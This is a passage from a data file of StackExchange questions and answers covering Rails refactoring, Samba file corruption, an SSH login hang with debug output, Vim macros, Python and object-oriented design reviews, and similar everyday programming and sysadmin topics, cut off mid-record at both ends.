self.lat.to_fyou can do :self.lat = self.lat.nil? ? zip.latitude.to_f : self.lat.to_fyou can also get rid of self when not assigning :self.lat = lat.nil? ? zip.latitude.to_f : lat.to_fyou can also group statements :self.lat = (lat.nil? ? zip.latitude : lat).to_falso, this is roughly equivalent to :self.lat ||= zip_latitudeself.lat = lat.to_fDesign considerationsYour controller is too fat. especially this :   @conditions = ContractorSearchConditions.new()  @conditions.zipcode = @service_request.zipcode.to_s  @conditions.search_terms = params[:filters].present? && params[:filters][:keywords].present? ? params[:filters][:keywords] : 'general'  params[:filters].present? && params[:filters][:proximity].present? ? @conditions.mile_radius = params[:filters][:proximity] :  params[:filters].present? && params[:filters][:results].present? ? @conditions.page_size = params[:filters][:results] :  @conditions.page = 1Basicly all of this should be in the body of ContractorSearchConditions#initialize method (give up the struct, use a real class : too much logic is attached to this entity to be a simple bag of data), so that you can do :@conditions = ContractorSearchConditions.new( params[:search_conditions] )To be continued I will come back when i have more time to analyze your logic, but here's a hint : when you have a lot of conditionals, it usually means you failed to capture a concept / mechanism as an object. Find out what concept(s) it is and you should be able to clean this. EDIT : RefactoringLet's analyze this bit of code :  @conditions.search_terms = params[:filters].present? && params[:filters][:keywords].present? ? params[:filters][:keywords] : 'general'  params[:filters].present? && params[:filters][:proximity].present? ? @conditions.mile_radius = params[:filters][:proximity] :  params[:filters].present? && params[:filters][:results].present? ? @conditions.page_size = params[:filters][:results] :  @conditions.page = 1first, we will use real ifs and proper indentation to see clear in this mess :  if params[:filters].present? && params[:filters][:keywords].present?    @conditions.search_terms = params[:filters][:keywords]  else     @conditions.search_terms = 'general'   end  if params[:filters].present? && params[:filters][:proximity].present?    @conditions.mile_radius = params[:filters][:proximity]  end  if params[:filters].present? && params[:filters][:results].present?    @conditions.page_size = params[:filters][:results]  else    @conditions.page = 1  endStill ugly, but more clear. Something important now stands out... Do you see it ?   if params[:filters].present?    # side note : here we use presence from ActiveSupport,     # which returns the object itself if it is not blank, or nil.    @conditions.search_terms = params[:filters][:keywords].presence    @conditions.mile_radius  = params[:filters][:proximity].presence     @conditions.page_size    = params[:filters][:results].presence  end  @conditions.search_terms ||= 'general'  @conditions.page = 1 unless @condition.page_sizeThe whole logic has, in fact, two purposes : initialize the @conditions object using params[:filters]set default values if necessaryAll of this should be the responsibility of ContractorSearchConditions#initialize. class ContractorSearchConditions  # here are defaults values, all contained in a constant.  # Thanks to this, everyone that looks at that class knows  # what to expect as default values with this object.  #  DEFAULTS = {      search_terms: :general,      page:         1,      page_size:    50,  # those values are hard to find      miles_radius: 15   # in the code you posted... not anymore !  }.freeze  def initialize( params = {} )    # the magic happen here. We have default values,     # but let the caller override them :    options = DEFAULTS.merge( params || {} )     filters = options.delete( :filters ){ {} }    assign_attributes( options )    filters.each{|name, value| apply_filter( name, value )}  end  # use the attributes accessor to assign all values.  # the benefit here is that each accessor encapsulates  # rules about what is a valid value to assign, how to coerce it, etc.  # one could also easily filter which attributes can be assigned this way,  #  la attr_accessible  #  def assign_attributes( attributes )    attributes.each{|attr,value| public_send #{attr}=, value }  end  # example of custom writer with safety nets all over the place :  #   def page=( value )    return @page if value.blank?    @page = value.to_i  rescue NoMethodError     raise ArgumentError, invalid value '#{value}' for page  end  # we can do something somewhat similar with filters :  #  def apply_filter( name, value )    public_send #{name}_filter, value  rescue NoMethodError    raise ArgumentError, unknown filter '#{name}'  end  # example of filter :  #  def proximity_filter( value )    self.mile_radius = value    # this seems dumb, but would be really useful if you have complex behavior    # like multiparameter filters, etc.    endendWhat ? but this is far more complex !yes... and no.This implementation provides encapsulation of data and behavior, and ensures that your object always initializes with default, sensible values, in a consistent state. This is the heart of OOP! This also means you won't have to repeat this code over and over if you need it in another controller : in other words, reusability. this is a lot of logic, but you're doing many things ! In fact, if you want this to be pure, outrageously OO code, you would have to create one object for each responsibility (SRP) :extract parameters from a hash map them to a set of attributescoerce all values and guard against meaningless onesetc.For now, you've stuffed a lot of logic in the controller. This works for small projects, but can quickly become a code swamp in bigger ones. The whole process you perform should have a dedicated place to live ! That's why many people (me included) would use some sort of ContractorSearch object that would represent... a search (duh) and that you would be able to manipulate like, say, an ActiveModel object. A (bit outdated) example of such approach can be seen in railscasts #111. This even allows you to easily save your searches !i admit i have a tendency to overengineer. My implementation may be too much, but you get the spirit..."  } 
{  "id": "_unix.194850"  , "question": "I am copying files from my SD card to my Ubuntu server via Windows 7 using a network drive.The problem is that sometimes, 2 files out of 150, are corrupted during transfer.See here 2 example files in hex compare, left side original, right side how it is stored on server. They differ in ~10kB. In the second example you can see 00's added.I don't know what could cause this. So i am asking for any advice how to narrow down the possible error source.I think it is not the hardware itself, because 2 drives are affected.Network connection is also not the issue, this is cable bound and i had never problems on that level.My wife has the feeling that sometimes the bug also appears when working on files in Picasa. But i can't say that for sure.My guess is, that it is some sort of race condition bug on either ext4 fs or samba or mount.Here some system information, which might help:The affected drives are: UUID=bc57f0fd-c16d-450e-83aa-4b7faace655c /media/FOTOS2/ ext4 defaults 2UUID=aacc7c57-8997-42c3-a2fc-648fe5a9009c /media/WDRED2TB/ ext4 defaults 2Here the complete fstab file:# /etc/fstab: static file system information.## Use 'blkid' to print the universally unique identifier for a# device; this may be used with UUID= as a more robust way to name devices# that works even if disks are added and removed. See fstab(5).## <file system> <mount point>   <type>  <options>       <dump>  <pass># / was on /dev/sda2 during installationUUID=9978d40a-b90d-49e1-ab7a-002cc0577120 /               ext4    errors=remount-ro 0       1# /boot/efi was on /dev/sda1 during installationUUID=AA12-9F54  /boot/efi       vfat    defaults        0       1# swap was on /dev/sda3 during installationUUID=bba8a1b5-a7da-44a2-a220-23a69c73e6ab none            swap    sw              0       0UUID=bc57f0fd-c16d-450e-83aa-4b7faace655c /media/FOTOS2/ ext4 defaults 2UUID=aacc7c57-8997-42c3-a2fc-648fe5a9009c /media/WDRED2TB/ ext4 defaults 2UUID=ba87bd76-a34a-45a5-8268-4de331ebf72f /media/RAID/ ext4 defaults 0 2Here the 'mount' output/dev/sde2 on / type ext4 (rw,errors=remount-ro)proc on /proc type proc (rw,noexec,nosuid,nodev)sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)none on /sys/fs/cgroup type tmpfs (rw)none on /sys/fs/fuse/connections type fusectl (rw)none on /sys/kernel/debug type debugfs (rw)none on /sys/kernel/security type securityfs (rw)none on /sys/firmware/efi/efivars type efivarfs (rw)udev on /dev type devtmpfs (rw,mode=0755)devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=0620)tmpfs on /run type tmpfs (rw,noexec,nosuid,size=10%,mode=0755)none on /run/lock type tmpfs (rw,noexec,nosuid,nodev,size=5242880)none on /run/shm type tmpfs (rw,nosuid,nodev)none on /run/user type tmpfs (rw,noexec,nosuid,nodev,size=104857600,mode=0755)none on /sys/fs/pstore type pstore (rw)/dev/sde1 on /boot/efi type vfat (rw)/dev/sdc1 on /media/FOTOS2 type ext4 (rw)/dev/sdb1 on /media/WDRED2TB type ext4 (rw)/dev/md0p1 on /media/RAID type ext4 (rw)systemd on /sys/fs/cgroup/systemd type cgroup (rw,noexec,nosuid,nodev,none,name=systemd)gvfsd-fuse on /run/user/1000/gvfs type fuse.gvfsd-fuse (rw,nosuid,nodev,user=piotre)The system is apiotre@SERVER:~$ uname -aLinux SERVER 3.13.0-46-generic #79-Ubuntu SMP Tue Mar 10 20:06:50 UTC 2015 x86_64 x86_64 x86_64 GNU/Linuxdumpe2fs gives for one of the drives:Filesystem volume name:   WDRED2TBLast mounted on:          /media/WDRED2TBFilesystem UUID:          aacc7c57-8997-42c3-a2fc-648fe5a9009cFilesystem magic number:  0xEF53Filesystem revision #:    1 (dynamic)Filesystem features:      has_journal ext_attr resize_inode dir_index filetype needs_recovery extent flex_bg sparse_super large_file huge_file uninit_bg dir_nlink extra_isizeFilesystem flags:         signed_directory_hashDefault mount options:    (none)Filesystem state:         cleanErrors behavior:          ContinueFilesystem OS type:       LinuxInode count:              122101760Block count:              488378385Reserved block count:     24418919Free blocks:              36947951Free inodes:              121834982First block:              0Block size:               4096Fragment size:            4096Reserved GDT blocks:      907Blocks per group:         32768Fragments per group:      32768Inodes per group:         8192Inode blocks per group:   512RAID stride:              1Flex block group size:    16Filesystem created:       Wed May  1 12:47:05 2013Last mount time:          Tue Apr  7 15:27:31 2015Last write time:          Tue Apr  7 15:27:31 2015Mount count:              169Maximum mount count:      25Last checked:             Mon Jul 21 21:11:14 2014Check interval:           15552000 (6 months)Next check after:         Sat Jan 17 20:11:14 2015Lifetime writes:          2513 GBReserved blocks uid:      0 (user root)Reserved blocks gid:      0 (group root)First inode:              11Inode size:               256Required extra isize:     28Desired extra isize:      28Journal inode:            8Default directory hash:   half_md4Directory Hash Seed:      9e898ed8-9275-4e6f-9dd6-431190f4b932Journal backup:           inode blocksJounaleigenschaften:         journal_incompat_revokeJournalgrsse:            128MJournal-Lnge:            32768Journal-Sequenz:          0x00028de6Journal-Start:            1First i tried modifying smb.conf (sync always and strict sync) but it did not help.Here the current smb.conf[global]workgroup=WORKGROUPserver string=%h server (Samba, Ubuntu)netbios name=SERVERdns proxy=nolog file=/var/log/samba/log.%mmax log size=1000syslog=0panic action=/usr/share/samba/panic-action %dserver role=standalone servermap to guest=bad userusershare allow guests=yessecurity=shareforce user=nobodyguest account=nobodysocket options = TCP_NODELAY IPTOS_LOWDELAY SO_RCVBUF=65536 SO_SNDBUF=65536strict syn = yessync always = yes"  , "title": "find the cause of file corruption when copying files to a network share on an Ubuntu machine"  , "tags": "ubuntu;filesystems;samba;ext4;corruption"  } 
{  "id": "_unix.63133"  , "question": "Yesterday I was freely able to ssh into server box-a, and it seemingly froze on me today so I killed my putty instance. I am now unable to ssh into it. It ssh's but the prompt does not appear. I am able to ssh using a different username, and then if i try to su into my user it hangs as well:ssh notme@box-abox-a:/home/notme> su myuserPassword:and just hangs. Why could this be (on bash)?Debug output:ld-chhfemd01: ssh -vvv ld-chhfemd02OpenSSH_4.3p2, OpenSSL 0.9.8e-fips-rhel5 01 Jul 2008debug1: Reading configuration data /etc/ssh/ssh_configdebug1: Applying options for *debug3: cipher ok: aes128-cbc [aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc]debug3: cipher ok: 3des-cbc [aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc]debug3: cipher ok: blowfish-cbc [aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc]debug3: cipher ok: cast128-cbc [aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc]debug3: cipher ok: arcfour [aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc]debug3: cipher ok: aes192-cbc [aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc]debug3: cipher ok: aes256-cbc [aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc]debug3: ciphers ok: [aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc]debug2: ssh_connect: needpriv 0debug1: Connecting to ld-chhfemd02 [10.32.242.71] port 22.debug2: fd 3 setting O_NONBLOCKdebug1: fd 3 clearing O_NONBLOCKdebug1: Connection established.debug3: timeout: 30000 ms remain after connectdebug1: identity file /home/myuser/.ssh/identity type -1debug3: Not a RSA1 key file /home/myuser/.ssh/id_rsa.debug2: key_type_from_name: unknown key type '-----BEGIN'debug3: key_read: missing keytypedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug2: key_type_from_name: unknown key type '-----END'debug3: key_read: missing keytypedebug1: identity file /home/myuser/.ssh/id_rsa type 1debug1: identity file /home/myuser/.ssh/id_dsa type -1debug1: loaded 3 keysdebug1: Remote protocol version 2.0, remote software version OpenSSH_4.3debug1: match: OpenSSH_4.3 pat OpenSSH*debug1: Enabling compatibility mode for protocol 2.0debug1: Local version string SSH-2.0-OpenSSH_4.3debug2: fd 3 setting O_NONBLOCKdebug1: SSH2_MSG_KEXINIT sentdebug1: SSH2_MSG_KEXINIT receiveddebug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1debug2: kex_parse_kexinit: ssh-rsa,ssh-dssdebug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbcdebug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbcdebug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96debug2: kex_parse_kexinit: zlib@openssh.com,zlib,nonedebug2: kex_parse_kexinit: zlib@openssh.com,zlib,nonedebug2: kex_parse_kexinit:debug2: kex_parse_kexinit:debug2: kex_parse_kexinit: first_kex_follows 0debug2: kex_parse_kexinit: reserved 0debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1debug2: kex_parse_kexinit: ssh-rsa,ssh-dssdebug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arc\\four,rijndael-cbc@lysator.liu.sedebug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arc\\four,rijndael-cbc@lysator.liu.sedebug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96debug2: kex_parse_kexinit: none,zlib@openssh.com,zlibdebug2: kex_parse_kexinit: none,zlib@openssh.com,zlibdebug2: kex_parse_kexinit:debug2: kex_parse_kexinit:debug2: kex_parse_kexinit: first_kex_follows 0debug2: kex_parse_kexinit: reserved 0debug2: mac_init: found hmac-md5debug1: kex: server->client aes128-cbc hmac-md5 zlib@openssh.comdebug2: mac_init: found hmac-md5debug1: kex: client->server aes128-cbc hmac-md5 zlib@openssh.comdebug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sentdebug1: expecting SSH2_MSG_KEX_DH_GEX_GROUPdebug2: dh_gen_key: priv key bits set: 135/256debug2: bits set: 514/1024debug1: SSH2_MSG_KEX_DH_GEX_INIT sentdebug1: expecting SSH2_MSG_KEX_DH_GEX_REPLYdebug3: check_host_in_hostfile: filename /home/myuser/.ssh/known_hostsdebug3: check_host_in_hostfile: match line 79debug3: check_host_in_hostfile: filename /home/myuser/.ssh/known_hostsdebug3: check_host_in_hostfile: match line 79debug1: Host 'ld-chhfemd02' is known and matches the RSA host key.debug1: Found key in /home/myuser/.ssh/known_hosts:79debug2: bits set: 522/1024debug1: ssh_rsa_verify: signature correctdebug2: kex_derive_keysdebug2: set_newkeys: mode 1debug1: SSH2_MSG_NEWKEYS sentdebug1: expecting SSH2_MSG_NEWKEYSdebug2: set_newkeys: mode 0debug1: SSH2_MSG_NEWKEYS receiveddebug1: SSH2_MSG_SERVICE_REQUEST sentdebug2: service_accept: ssh-userauthdebug1: SSH2_MSG_SERVICE_ACCEPT receiveddebug2: key: /home/myuser/.ssh/identity ((nil))debug2: key: /home/myuser/.ssh/id_rsa (0x2ac6af877020)debug2: key: /home/myuser/.ssh/id_dsa ((nil))debug1: Authentications that can continue: publickey,passworddebug3: start over, passed a different list publickey,passworddebug3: preferred gssapi-with-mic,publickey,keyboard-interactive,passworddebug3: authmethod_lookup publickeydebug3: remaining preferred: keyboard-interactive,passworddebug3: authmethod_is_enabled publickeydebug1: Next authentication method: publickeydebug1: Trying private key: /home/myuser/.ssh/identitydebug3: no such identity: /home/myuser/.ssh/identitydebug1: Offering public key: /home/myuser/.ssh/id_rsadebug3: send_pubkey_testdebug2: we sent a publickey packet, wait for replydebug1: Server accepts key: pkalg ssh-rsa blen 149debug2: input_userauth_pk_ok: SHA1 fp f1:2c:f7:09:b6:b7:ff:83:c5:e7:98:da:f4:fe:ea:66:05:32:f7:9cdebug3: sign_and_send_pubkeydebug1: read PEM private key done: type RSAdebug1: Enabling compression at level 6.debug1: Authentication succeeded (publickey).debug1: channel 0: new [client-session]debug3: ssh_session2_open: channel_new: 0debug2: channel 0: send opendebug1: Entering interactive session.debug2: callback startdebug2: x11_get_proto: /usr/bin/xauth  list unix:18.0 2>/dev/nulldebug1: Requesting X11 forwarding with authentication spoofing.debug2: channel 0: request x11-req confirm 0debug2: client_session2_setup: id 0debug2: channel 0: request pty-req confirm 0debug3: tty_make_modes: ospeed 38400debug3: tty_make_modes: ispeed 38400debug3: tty_make_modes: 1 3debug3: tty_make_modes: 2 28debug3: tty_make_modes: 3 127debug3: tty_make_modes: 4 21debug3: tty_make_modes: 5 4debug3: tty_make_modes: 6 0debug3: tty_make_modes: 7 0debug3: tty_make_modes: 8 17debug3: tty_make_modes: 9 19debug3: tty_make_modes: 10 26debug3: tty_make_modes: 12 18debug3: tty_make_modes: 13 23debug3: tty_make_modes: 14 22debug3: tty_make_modes: 18 15debug3: tty_make_modes: 30 0debug3: tty_make_modes: 31 0debug3: tty_make_modes: 32 0debug3: tty_make_modes: 33 0debug3: tty_make_modes: 34 0debug3: tty_make_modes: 35 0debug3: tty_make_modes: 36 1debug3: tty_make_modes: 37 0debug3: tty_make_modes: 38 1debug3: tty_make_modes: 39 0debug3: tty_make_modes: 40 0debug3: tty_make_modes: 41 0debug3: tty_make_modes: 50 1debug3: tty_make_modes: 51 1debug3: tty_make_modes: 52 0debug3: tty_make_modes: 53 1debug3: tty_make_modes: 54 1debug3: tty_make_modes: 55 1debug3: tty_make_modes: 56 0debug3: tty_make_modes: 57 0debug3: tty_make_modes: 58 0debug3: tty_make_modes: 59 1debug3: tty_make_modes: 60 1debug3: tty_make_modes: 61 1debug3: tty_make_modes: 62 0debug3: tty_make_modes: 70 1debug1: Sending environment.debug3: Ignored env GREP_COLORdebug3: Ignored env HOSTNAMEdebug3: Ignored env _debug2: channel 0: request shell confirm 0debug2: fd 3 setting TCP_NODELAYdebug2: callback donedebug2: channel 0: open confirm rwindow 0 rmax 32768debug2: channel 0: rcvd adjust 2097152Last login: Wed Jan 30 14:38:32 2013 from ld-chhfemd01.rocks.comKickstart-Installed Fri Oct 12 17:17:04 CDT 2012Red Hat Enterprise Linux Server release 5.8 (Tikanga)so it seems to log in but then hang."  , "title": "I hang when I try to ssh into a machine with my username (or su to my user)"  , "tags": "linux;ssh"  } 
{  "id": "_webmaster.104679"  , "question": "We recently moved our domain from monomachines.com --> supplychimp.comFollowed all the recommendations from various blog posts and told Google in Webmaster Tools that MonoMachines is now SupplyChimp.  301 redirects are all setup and working properly.The Issue:Google is using our OLD company/domain name for the new website.If you look at the indexed pages using site:supplychimp.com Google is using the wrong name. Anyone know how/why Google is using our old name?  It's been 3 months now!"  , "title": "Old domain name appended to page titles in Google SERP"  , "tags": "google search;301 redirect;serps;title"  } 
{  "id": "_webmaster.7274"  , "question": "Suppose I'm buying ads for keyword x and suddenly x becomes the biggest thing in the world. Will my budget run down faster? Will the price stay at the same rate I purchased that keyword on or will change with the popularity?"  , "title": "Peaking keywords on Google AdWords"  , "tags": "seo;google adsense;keywords"  , "accepted_answer": "As more people bid on an phrase the higher the cost of the phrase will be. So, yes, if that phrase becomes very popular your budget will run down faster as you can expect more bidders to enter that market."  } 
{  "id": "_vi.9783"  , "question": "I have several useful search, search and replace and global commands written in my personal Vim reference. How can I easily turn some of them into one macro without recording (retyping everything)? "  , "title": "How to turn several commands into a macro without recording?"  , "tags": "macro"  , "accepted_answer": "Well, if you want turn them into a macro specifically, then this is pretty easy to do. The thing you need to know about macro registers is that they are exactly the same as text registers that you cut/copy/paste from. So if you had the following text on a line:iHello<esc>And you wanted to turn this into a macro, you could just go to the beginning of the line, type aD (delete line into register 'a'). Now, you can type @a and this will run that text as a macro, exactly the same as if you had recorded it. There's an even easier way to do the same thing, which is to directly assign the register. For example::let @a=iHello\\<esc>or:call setreg('a', iHello\\<esc>)But I'm guessing there is a simpler way to do what you want. If you just have some functions, or sets of keystrokes that you would like to be able to easily call, you could just make a new mapping. Preferably with <leader> to avoid conflicting with other mappings. Like this answer said, leader is essentially a namespace for your own mappings. I would add something like this to your .vimrcnnoremap <leader>h iHello<esc>However, if you would really prefer a macro, you could simply add let @a or setreg like I demonstrated."  } 
{  "id": "_codereview.106102"  , "question": "Problem StatementYou are given time in AM/PM format. Convert this into a 24 hour format.Note Midnight is \\$ 12:00:00AM \\$ or \\$ 00:00:00 \\$ and 12 Noon is \\$ 12:00:00PM. \\$Input FormatInput consists of time in the AM/PM format i.e. hh:mm:ssAM or hh:mm:ssPM   where   \\$ 01 \\le hh \\le 12 \\$,  \\$ 00 \\le mm \\le 59 \\$,  \\$ 00 \\le ss \\le 59 \\$Output FormatYou need to print the time in 24 hour format i.e. hh:mm:ss   where\\$ 00 \\le hh \\le 23 \\$,  \\$ 00 \\le mm \\le 59 \\$,  \\$ 00 \\le ss \\le 59 \\$Sample Input\\$ 07:05:45PM \\$Sample Output\\$ 19:05:45 \\$Solutionclass AbsTime(object):    def __init__(self, hh, mm=0, ss=0, pm=False):        self.hh = hh        self.mm = mm        self.ss = ss        self.pm = pm    def add(self, time):        self.hh += time.hh        self.mm += time.mm        self.ss += time.ss        if self.ss >= 60:            self.ss -= 1            self.mm += 1        if self.mm >= 60:            self.mm -= 1            self.hh = self.hh % 24        return self    def midnight(self):        return not self.pm and str(self) in ['00:00:00', '12:00:00']    def noon(self):        return self.pm and str(self) == '12:00:00'    def __str__(self):        return {0:02d}:{1:02d}:{2:02d}.format(self.hh, self.mm, self.ss)    def get(self):        if self.midnight():            return AbsTime(0)        if self.noon():            return AbsTime(12)        if self.pm:            if self.hh == 12:                hh = self.hh            else:                hh = self.hh + 12            return AbsTime(hh, self.mm, self.ss)        else:            return AbsTime(self.hh % 12, self.mm, self.ss)    @classmethod    def create_from_string(cls, time):        pm = True if time[-2:] == 'PM' else False              hh, mm, ss = map(int, time[:-2].split(':'))        return cls(hh, mm, ss, pm)def main(time):    if time == '00:00:00':        return time    abstime = AbsTime.create_from_string(time)    return abstime.get()if __name__ == '__main__':    TIME = raw_input().strip()    print main(TIME)    #print main('00:00:00')   #00:00:00    #print main('12:00:00PM') #12:00:00    #print main('12:00:00AM') #00:00:00    #print main('02:00:00PM') #14:00:00    #print main('02:00:00AM') #02:00:00     #print main('11:59:00AM') #11:59:00    #print main('12:59:00PM') #12:59:00    #print main('01:00:00PM') #13:00:00    #print main('11:59:59PM') #23:59:59    #print main('12:59:59AM') #00:59:59It really took me a while to do this simple solution, its fast when we do just structural programming but once I thought to step into OOP world things really got confusing. How can I improve this design?"  , "title": "Time Conversion Python implementation"  , "tags": "python;object oriented;programming challenge;python 2.7"  } 
{  "id": "_softwareengineering.279773"  , "question": "For a software project I am working on, we have a 'dev => QA => production' methodology. That is, we create  a release candidate (deployed to Artifactory), give it to QA (deploy to QA systems and a QA backend/application server) who takes a week or so to look at it, and if they it's ok, we make a production release.Now, I come from an embedded/native app background, not as much Java/systems/CI. And I am accustomed to revision control organized with all releases tagged (in this case, the production release tags are always just copies of an RC tag). branches/1.2 branches/1.3 tags/1.2.0-rc tags/1.2.0 tags/1.3.0-rc tags/1.3.1-rc tags/1.3.1However, several team members state that this doesn't work well with Maven (and maybe Jenkins too). Instead, they suggest: branches/1.2.0-rc branches/1.3.0-rc branches/1.3.1-rc tags/1.2.0 tags/1.3.1I am arguing that a release candidate should not be a branch, as we need to deliver a known entity to QA (as opposed to a continuous integration/deployment situation where we might cut the production release directly from our development line without waiting for QA). The fact that several developers are checking code into the RC branch, and there is little control around it, has caused issues.Could somebody please explain if there's something about Maven or Jenkins that would make the second way better? Is there anything that makes the first way more difficult to implement?"  , "title": "Conventions for revision control with Maven/Jenkins"  , "tags": "java;svn;maven;jenkins"  } 
{  "id": "_webmaster.50136"  , "question": "Customers to my website who are from the USA need to pay more P&P then UK customers. How do I make a PayPal button which charges a different amount depending on the country the user is from?"  , "title": "PayPal buy now button to charge different amount depending on the country the user is from"  , "tags": "paypal;internationalization"  } 
{  "id": "_unix.90446"  , "question": "I have a remote Linux server and I use it to run some very long tasks using SSH. It works great, but, of course, if the connection dies for some reason, the task dies.Specifically, I'm running something like this:[myName@localStation]$ ssh john_doe@myRemoteServerPassword: *****[john_doe@remoteServer]$ ./myVeryLongTask.script > myOutputLog.txtIs there a way to tweak the SSH connection in such a way that, if the network connection fails, the task keeps running?"  , "title": "How to run script using SSH from remote computer and avoid its interruption if remote computer goes offline"  , "tags": "bash;ssh"  , "accepted_answer": "You need to read up on the screen command (here's a quick google result)Screen allows you to leave a remote connection running and come back to it for reasons exactly as you describe.  It's also useful for running unattended jobs or keeping sessions open indefinitely.'man screen' for more infoEDIT: Here's a better link to a HOWTO: screen: Keep Your Processes Running Despite A Dropped Connection"  } 
{  "id": "_softwareengineering.184815"  , "question": "Im trying to create an SMS gateway .. I have a request coming in from a client (web form or API or database record) that I need to process and forward on to a 3rd Party API - or SMS provider. So that things would be simpler going forward I decided to create an interface that each provider implementation would implement :interface SMSProvider  public method sendSMS(sendTo,message)  public method sendWakeup(sendTo)I thought this would be my best way forward because then I wouldn't have to change my code when sending to a different provider - i knew that when i create my provider i just call the method to perform the function with the normal parameters and everything is good ... Well until I have a new provider that requires new parametersnew provider requires  - sendTo  - message  - sendFrom  - validityPeriodSo now what do i do ? how can i now use my interface ? when the new provider needs extra parameters ?"  , "title": "Class inheritance and extra parameters"  , "tags": "object oriented;interfaces"  , "accepted_answer": "The usual practice in this case is to wrap arguments of interface methods into abstract classes and have implementing classes instantiate certain variation of the abstraction. So,interface SMSProviderpublic method sendSMS(SMSMessage)public method sendWakeup(WakeupMessage)class SMSProvider1public method sendSMS(Provider1SpecificSMSMessage)public method sendWakeup(Provider1SpecificWakeupMessage)class SMSProvider2public method sendSMS(Provider2SpecificSMSMessage)public method sendWakeup(Provider2SpecificWakeupMessage)abstract class SMSMessagestring sendTostring messageclass Provider1SpecificSMSMessage :: SMSMessage/*fields from base class plus customizations*/class Provider2SpecificSMSMessage :: SMSMessage/*fields from base class plus customizations*/[Sorry, not sure what language you're dealing with]"  } 
{  "id": "_codereview.160484"  , "question": "I have written an implementation for sentence generation using Markov Chains. Would be great if you could review it. #!/usr/bin/env python# -*- coding: utf-8 -*-import osimport randomfrom markovipy.utils import get_word_listfrom markovipy.utils import list_to_tuplefrom markovipy.constants import PUNCTUATIONSclass MarkoviPy:    def __init__(self, filename=, markov_length=2):                starting_word: keeps track of the words from which sentences would be starting out.        TODO:        - instead of storing final_mapping and middle_mapping on memory, put them on a tiny DB(Sqlite comes to my mind)        :type markov_length: <int> defaults to 2        :type filename: <str> defaults to an empty string                self.starting_words = []        self.middle_mapping = {}        self.final_mapping = {}        self.words_list = []        self.markov_length = markov_length        if os.path.exists(filename):            self.filename = filename        else:            raise FileNotFoundError(Please enter a valid file name for corpus)    def _normalise_mapping(self):                creates the self.final_mapping with the final probabilities in similar structure         {         ...         ('with',): {'Till': 0.2,                     'a': 0.2,                     'darkness': 0.2,                     'such': 0.2,                     'whispering': 0.2},         ('word',): {',': 0.6666666666666666, 'within': 0.3333333333333333},         ('word', ','): {'Swaddled': 0.5, 'unable': 0.5},         ...         }        :return:                for word_tuple, probable_word in self.middle_mapping.items():            total = sum(probable_word.values())            self.final_mapping[word_tuple] = dict([(k, v / total) for k, v in probable_word.items()])    def _build_middle_mapping(self, word_history, next_word):        Adds next_word to the list of possible next words after the sequence presented in word_history.        maps the occurrence of the words after one another in a <dict> called 'middle_mapping'. This would just be a        <dict> which would contain a        - <tuple> as the key, inside the <tuple> you would be having the sequence of the words one after the another        - and the value would be <dict>        eg: word_history = [it, rained, on] and next_word = a, then it will create a mapping where for the            sequences [it, rained, on], [it, rained], [rained, on] and [on]. The next word for them            would be a        Something like this        self.middle_mapping -> {('Once', 'upon'): {'a': 1.0}, ('upon',): {'a': 1.0}}        Finally,method builds something like this inside self.middle_mapping        {            ...            ('youth',): {',': 1.0,                         '.': 5.0,                         'about': 1.0,                         'and': 4.0,                         'is': 1.0,                         'saint': 1.0,                         'stirred': 1.0,                         'was': 1.0},            ('youth', ','): {'a': 1.0},            ...        }        :param word_history: <list> of contiguous words        :param next_word: next word in the sequence of the <list> word_history        :return:                while len(word_history) > 0:            key = list_to_tuple(word_history)            if key not in self.middle_mapping:                self.middle_mapping[key] = {}                self.middle_mapping[key][next_word] = 1.0            else:                if next_word in self.middle_mapping[key]:                    self.middle_mapping[key][next_word] += 1                else:                    self.middle_mapping[key][next_word] = 1.0            word_history = word_history[1:]    def _iterate_through_word_list(self):        Picks out pair of words with accordance to the length of the markov chain to be created and passes the chain        as a list and the next word to self._build_middle_mapping()        